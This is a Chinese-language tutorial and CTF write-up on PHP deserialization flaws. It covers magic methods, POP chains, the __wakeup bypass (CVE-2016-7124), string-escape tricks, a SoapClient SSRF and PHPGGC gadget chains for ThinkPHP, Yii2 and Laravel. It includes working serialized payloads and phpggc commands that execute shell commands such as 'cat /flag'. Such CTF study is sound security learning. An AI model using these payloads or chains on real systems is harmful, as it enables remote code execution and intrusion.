PHP反序列化
什么是反序列化操作?
类型转换
- PHP & JavaEE & Python(见图)
序列化:对象转换为数组或字符串等格式
反序列化:将数组或字符串等格式转换成对象
serialize() //将对象转换成一个字符串
unserialize() //将字符串还原成一个对象
常见PHP魔术方法
- 对象逻辑(见图)
__construct(): //当对象new的时候会自动调用
__destruct()://当对象被销毁时会被自动调用
__sleep(): //serialize()执行时被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用
__toString(): //把类当作字符串使用时触发
__call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。
__callStatic(): //在静态上下文中调用不可访问的方法时触发
__get(): //读取对象属性时,若存在,则返回属性值;若不存在,则会调用__get函数
__set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用__set函数。
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__set_state(),调用var_export()导出类时,此静态方法会被调用
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
在这里插入图片描述
为什么会出现安全漏洞?
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
<?php
class B{
public $cmd='ipconfig';
public function __destruct(){
system($this->cmd);
}
}
//函数引用,无对象创建触发魔术方法
unserialize($_GET['x']);
反序列化漏洞如何利用?- POP链构造
POP:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,序列化攻击都在PHP魔术方法中出现可利用的漏洞,因自动调用触发漏洞,但如关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。
反序列化常见起点
方法名 | 调用条件 |
---|---|
__wakeup | 一定会调用 |
__destruct | 一定会调用 |
__toString | 当一个对象被反序列化后又被当作字符串使用 |
反序列化常见跳板
方法名 | 调用条件 |
---|---|
__toString | 当一个对象被反序列化后又被当作字符串使用 |
__get | 读取不可访问或不存在属性时被调用 |
__set | 当给不可访问或不存在属性赋值时被调用 |
__isset | 对不可访问或不存在的属性调用isset()或empty()时被调用 |
反序列化常见终点
方法名 | 调用条件 |
---|---|
__call | 调用不可访问或不存在的方法时被调用 |
call_user_func | 一般php代码执行都会选择这里 |
call_user_func_array | 一般php代码执行都会选择这里 |
案例
__destruct()
__destruct()://当对象被销毁时会被自动调用
构造pop链
执行ipconfig
O:1:"B":1:{s:3:"cmd";s:8:"ipconfig";}
执行whoami
O:1:"B":1:{s:3:"cmd";s:6:"whoami";}
ctfshow-254
只要isVIp为真就输出flag,就是username=xxxxxx,password=xxxxxx就为真
username=xxxxxx&password=xxxxxx
ctfshow-255
isVip需要为true,才会输出flag,与上题相比来说没有让isVip为真的条件,但是多了一个unserialize反序列化
构造pop链
复制代码,删除不需要更改的代码,因为需要以cookie传参user,序列化后的代码有符号这些,使用url编码
username=xxxxxx&password=xxxxxx
cookie:user O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
ctfshow-256
username和password值不相等才能得到flag
构造pop链
因为需要修改username和password,构造时添加上去,需要改什么就留什么。
username=xxx&password=xx
cookie:user O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22xxx%22%3Bs%3A8%3A%22password%22%3Bs%3A2%3A%22xx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
ctfshow-257
构造pop链
backDoor类下有一个eval,但是并没有调用它,构造一个调用backdoor的序列化链
username=xxxxxx&password=xxxxxx
cookie:user
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D
ctfshow-258
'/[oc]:\d+:/i'含义是:匹配o或c任意一个,冒号,至少一个数字,冒号,不区分大小写
替换绕过
将:替换成+
username=xxxxxx&password=xxxxxx
cookie:user O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A%2B8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A%2B8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D
PHP-属性类型-公有&私有&保护
对象变量属性
- public(公共的):在本类内部、外部类、子类都可以访问
- protect(受保护的):只有本类或子类或父类中可以访问
- private(私人的):只有本类内部可以使用
序列化数据显示
- public属性序列化的时候格式是正常成员名
- private属性序列化的时候格式是%00类名%00成员名
- protect属性序列化的时候格式是%00*%00成员名
PHP-绕过漏洞-CVE
1、CVE-2016-7124(__wakeup绕过)
漏洞编号:CVE-2016-7124
影响版本:PHP 5<5.6.25; PHP 7<7.0.10
漏洞危害:如存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup执行
wakeup绕过案例
正常构造pop链wakeup被调用
x=O:4:"Test":3:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}
当对象属性个数的值大于真实属性个数时会跳过__wakeup执行,修改个数3为4后,wakeup未被调用
x=O:4:"Test":4:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}
[极客大挑战 2019]PHP
访问www.zip下载源代码
打开备份文件class.php,只需要绕过wakeup魔术方法就行了
__destruct()://当对象被销毁时会被自动调用
使用select传参
构造pop链
生成的序列化参数,将:2替换成:3,使其绕过wakeup函数,生成的序列化需要用php的urlencode函数进行url编码,我使用hackbar中的url编码,有差异。
拿下flag
select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
字符串逃逸
字符串逃逸--增加
isVIP必须为1才输出flag,把admin替换成hacker,因为没有设置验证用户为admin,假设用户必须为admin
输入admin,被替换成了hacker。
序列化位数增加,反序列无法被识别
x=O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
需要逃逸的数据,47位。
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
admin被替换成hacker,会比原来数据多一位,,如果生成47个admin,那么就会比原来的多47位出来,47位是admin后面的数据位数,刚好占位到47,后面原来的数据就会逃逸
pop链
成功逃逸
x=O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
字符串逃逸--减少
isVIP必须为1才输出flag,把admin替换成hack,因为没有设置验证用户为admin,假设用户必须为admin
输入admin,被替换成了hack
序列化位数减少,反序列无法被识别
x=O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
admin被替换成hack,会比原来数据少一位,";s:8:"password";s:6:"
22位是不可控的数据,因为每次替换少一位,那么少22位的话刚好将不可控数据反序列化,再将可控的password值改成需要逃逸的字符就会成功反序列化
$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin';
$p=';s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';
反序列的时候就会以先解析O:4:"user":3:{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password
后解析";s:46:";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:1;}
后解析的就是逃逸的字符
x=O:4:"user":3:{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:46:";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:1;}
ctfshow-262
message.php
常规解法
构造pop链
Cookie:msg Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
字符逃逸
因为是fuck替换位loveU,增加了一位
O:7:"message":4:{s:4:"from";s:3:"123";s:3:"msg";s:3:"123";s:2:"to";s:4:"fuck";s:5:"token";s:5:"admin";}
中需要逃逸的是";s:5:"token";s:5:"admin";}
一共27位,生成27个fuck。
O:7:"message":4:{s:4:"from";s:3:"123";s:3:"msg";s:3:"123";s:2:"to";s:108:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
base64编码
添加到cookie拿到flag
fuck被替换成loveU,会比原来数据多一位,,如果生成27个fuck,那么就会比原来的多27位出来,27位是fuck后面的数据位数,刚好占位到27,后面原来的数据就会逃逸
还原反序列化过程
先解析s:236:"O:7:"message":4:{s:4:"from";s:3:"123";s:3:"msg";s:3:"123";s:2:"to";s:108:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUlov
后解析eUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin"
,;}
相当于sql注入的闭合符号
原生类
原生类应用场景:
没有看到魔术方法利用情况下使用
1.先看能触发的魔术方法
2.没写魔术方法调用逻辑代码
3.使用魔术方法的原生类利用
4.获取魔术方法的原生类(脚本生成,能开启多少和当前的环境模块开关有关)
5.利用魔术方法里面的内置的类 pop修改内置类 形成攻击
案例
没有魔术方法,echo会触发to_string的魔术方法
使用脚本获取魔术方法的原生类
Exception::__toString,数据异常就会转换为字符串
构造pop链,新建异常类,借助异常使其显示""
弹出123
cftshow-259
访问flag.php
getFlag在代码中是不存在的,调用不存在的,则会使用call魔术方法
__call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。
使用插件获取call的原生类
SoapClient::__call有ssrf漏洞
<?php
$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
echo urlencode(serialize($client));
?>
执行构成的序列化语句,访问成功后会生成flag.txt
vip=O%3A10%3A"SoapClient"%3A5%3A%7Bs%3A3%3A"uri"%3Bs%3A17%3A"http%3A%2F%2F127.0.0.1%2F"%3Bs%3A8%3A"location"%3Bs%3A25%3A"http%3A%2F%2F127.0.0.1%2Fflag.php"%3Bs%3A15%3A"_stream_context"%3Bi%3A0%3Bs%3A11%3A"_user_agent"%3Bs%3A124%3A"aaa%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow"%3Bs%3A13%3A"_soap_version"%3Bi%3A1%3B%7D
框架类
反序列化链项目-PHPGGC&NotSoSecure
NotSoSecure
为了利用反序列化漏洞,需要设置不同的工具,如 YSoSerial(Java)、YSoSerial.NET、PHPGGC 和它的先决条件。DeserializationHelper 是包含对 YSoSerial(Java)、YSoSerial.Net、PHPGGC 和其他工具的支持的Web界面。使用Web界面,您可以为各种框架生成反序列化payload.
Java -- YSoSerial
NET -- YSoSerial.NET
PHP -- PHPGGC
Python - 原生
PHPGGC
PHPGGC是一个包含unserialize()有效载荷的库以及一个从命令行或以编程方式生成它们的工具。当在您没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需执行查找小工具并将它们组合的繁琐步骤。 它可以看作是frohoff的ysoserial的等价物,但是对于PHP。目前该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、ThinkPHP、Slim、SwiftMailer、Symfony、Wordpress、Yii和ZendFramework等。
kali可以直接使用apt安装
[安洵杯 2019]iamthinking
访问public
thinkPHP6.0
访问www.zip下载源码
从readme文件中可以看到采用thinkPHP6.0框架开发
使用phpggc
获取gadget链列表
phpggc -l
找到thinkphp小工具链
phpggc -l thinkphp
使用thinkphp/RCE3,下面有构造payload方法
phpggc -i ThinkPHP/RCE3
执行cat /flag 并以url编码
phpggc ThinkPHP/RCE3 system 'cat /flag' --url
直接执行有过滤行为
/public/?payload=O%3A41%3A%22League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%22%3A3%3A%7Bs%3A47%3A%22%00League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%00pool%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A14%3A%22think%5CValidate%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A3%3A%22key%22%3B%7Ds%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3Bs%3A6%3A%22%00%2A%00key%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22anything%22%3B%7D%7D
在index.php可以看到过滤以O开头区分大小写
三斜杠绕过,但是不明白其中的道理,希望懂的佬,帮我解释一下为何y绕过
///public/?payload=O%3A41%3A%22League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%22%3A3%3A%7Bs%3A47%3A%22%00League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%00pool%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A14%3A%22think%5CValidate%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A3%3A%22key%22%3B%7Ds%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3Bs%3A6%3A%22%00%2A%00key%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22anything%22%3B%7D%7D
ctfshow-267
admin ,admin弱口令登录
登录之后这个页面有变化
查看页面源代码,发现有个p标签有这个
进行各种拼接就得到了一个这个页面,这就是反序列化入口
Yii
可以通过wappalyzer看到有Yii框架,Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。CVE编号是CVE-2020-15148。
在源代码中也可以看到yii2.0版本的
phpggc
找到yii小工具链
phpggc -l yii
根据版本选择合适的链
phpggc Yii2/RCE1
执行cat /flag 并以base64编码
phpggc Yii2/RCE1 system 'cat /flag' --base64
执行没有反应
/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXGRiXENvbm5lY3Rpb24iOjI6e3M6MzoicGRvIjtpOjE7czozOiJkc24iO086MjY6InlpaVxkYlxDb2x1bW5TY2hlbWFCdWlsZGVyIjoyOntzOjc6IgAqAHR5cGUiO3M6MToieCI7czoxMToiY2F0ZWdvcnlNYXAiO086MjI6InlpaVxjYWNoaW5nXEFycmF5Q2FjaGUiOjI6e3M6MTA6InNlcmlhbGl6ZXIiO2E6MTp7aToxO3M6Njoic3lzdGVtIjt9czozMDoiAHlpaVxjYWNoaW5nXEFycmF5Q2FjaGUAX2NhY2hlIjthOjE6e3M6MToieCI7YToyOntpOjA7czo5OiJjYXQgL2ZsYWciO2k6MTtpOjA7fX19fX19
猜测不能使用system,使用exec并将flag复制到123.txt
phpggc Yii2/RCE1 exec 'cp /flag* 123.txt' --base64
执行有报错
/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXGRiXENvbm5lY3Rpb24iOjI6e3M6MzoicGRvIjtpOjE7czozOiJkc24iO086MjY6InlpaVxkYlxDb2x1bW5TY2hlbWFCdWlsZGVyIjoyOntzOjc6IgAqAHR5cGUiO3M6MToieCI7czoxMToiY2F0ZWdvcnlNYXAiO086MjI6InlpaVxjYWNoaW5nXEFycmF5Q2FjaGUiOjI6e3M6MTA6InNlcmlhbGl6ZXIiO2E6MTp7aToxO3M6NDoiZXhlYyI7fXM6MzA6IgB5aWlcY2FjaGluZ1xBcnJheUNhY2hlAF9jYWNoZSI7YToxOntzOjE6IngiO2E6Mjp7aTowO3M6MTc6ImNwIC9mbGFnKiAxMjMudHh0IjtpOjE7aTowO319fX19fQ==
查看123.txt,拿到flag
ctfshow-271
Laravel
题目中提示了Laravel但是不知道版本,用unserialize接受数据data
使用phpggc
找到Laravel小工具链
由于不知道版本,我这边选择一个版本区间多的尝试
phpggc Laravel/RCE4
生成执行命令url编码的链
phpggc Laravel/RCE4 system "tac /flag*" --url
执行pop链,拿下flag
data=O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A31%3A%22Illuminate%5CValidation%5CValidator%22%3A1%3A%7Bs%3A10%3A%22extensions%22%3Ba%3A1%3A%7Bs%3A0%3A%22%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3Bs%3A10%3A%22tac+%2Fflag%2A%22%3B%7D